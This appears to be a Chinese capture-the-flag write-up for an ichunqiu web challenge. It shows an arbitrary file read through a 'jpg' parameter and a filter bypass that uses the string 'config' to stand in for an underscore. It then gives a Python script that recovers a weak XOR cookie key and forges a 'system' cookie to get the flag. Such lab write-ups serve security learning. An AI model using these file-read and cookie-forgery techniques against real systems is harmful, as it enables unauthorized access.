分析
打开url，发现是一个读取文件的过程，一开始还以为是文件包含，其实直接读文件即可：
/index.php?jpg=index.php
读了一下index.php的内容，base64解码得到index.php源码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
一开始没发现什么东西，看了WP说是和phpStorm有关，于是百度一下phpStorm，学习到phpstorm写的会有一个 .idea 文件夹，里面存储了一些配置文件
phpstorm新建项目自动出现的.idea文件夹是干嘛用的
访问一下.idea/workspace.xml,在源代码中发现一些猫腻：
view-source:http://40bd4aa3f9d7411fa9a504272526586f4deb6e1cbbe44807.game.ichunqiu.com/.idea/workspace.xml
<option value="$PROJECT_DIR$/x.php" />
<option value="$PROJECT_DIR$/config.php" />
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php" />
可以看出这个工程还有几个php文件，config.php,fl3g_ichuqiu.php,x.php
于是尝试访问fl3g_ichuqiu.php,直接访问发现不行，╮(╯▽╰)╭
那么还可以通过index.php来读文件，但是不难发现过滤了大小写数字字符以外的其他字符，也就是说_被过滤了，但是又发现config会被替代成_也就可以绕过过滤了。
payload:
?jpg=fl3gconfigichuqiu.php
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
//获取length位数的随机字符串
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
// 加密过程
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}//txt内容ascii码增加10
$txt = $tmp;
$rnd=random(4);// 取4位随机字符串
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];//txt和key异或得到ttmp
}
return base64_encode($rnd.$ttmp);
}
//关键在于未知的key
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
加密和解密的原理其实不难，但是我看了很久，我们需要更与得到user的cookie计算解密 得到的key，然后利用这个key对system加密，从而得到system的cookie，伪造cookie得到flag
附上我的脚本：
# -*- coding: utf-8 -*
import requests
import string
from base64 import *
url = "http://cf28ccf5e2fc468bb413ae1b25a184fa879fff035a8540c9.game.ichunqiu.com/fl3g_ichuqiu.php"
cookie = requests.get(url).cookies['user']
# print cookie
txt = b64decode(cookie)
# print txt
rnd = txt[:4]
# print rnd
ttmp = txt[4:] #获取cookie从而得到rnd值(4位)和ttmp值(5位，即md5后的key的前五位)
# print ttmp
keys = list('xxxxxx')
guest = list('guest')
for i in range(len(guest)):
guest[i] = chr(ord(guest[i])+10)
for i in range(len(guest)):
keys[i] = chr(ord(ttmp[i])^ord(guest[i])) #根据源码，算出key的前五位（异或）
# print keys
system = list('system') #用已知信息（key值）来对system进行加密
for i in range(len(system)):
system[i] = chr(ord(system[i])+10)
ttmp_new = ''
str = ''
payload = []
letters = '1234567890abcdef' #system有六位，但我们只知道五位的key，所以要爆破一下最后一位
for ch in letters:
keys[5] = ch
for i in range(len(system)):
ttmp_new += chr(ord(keys[i]) ^ ord(system[i]))
str = rnd + ttmp_new
payload.append(b64encode(str))
ttmp_new = ''
print payload
for i in payload:
cookies = {'user':i}
res = requests.get(url,cookies=cookies)
if 'flag' in res.content:
print i
print res.content
'''
['ZFhxaRi2HB1fRg==', 'ZFhxaRi2HB1fRQ==', 'ZFhxaRi2HB1fRA==', 'ZFhxaRi2HB1fQw==', 'ZFhxaRi2HB1fQg==', 'ZFhxaRi2HB1fQQ==', 'ZFhxaRi2HB1fQA==', 'ZFhxaRi2HB1fTw==', 'ZFhxaRi2HB1fTg==', 'ZFhxaRi2HB1fRw==', 'ZFhxaRi2HB1fFg==', 'ZFhxaRi2HB1fFQ==', 'ZFhxaRi2HB1fFA==', 'ZFhxaRi2HB1fEw==', 'ZFhxaRi2HB1fEg==', 'ZFhxaRi2HB1fEQ==']
ZFhxaRi2HB1fFg==
flag{############}
[Finished in 3.1s]
'''
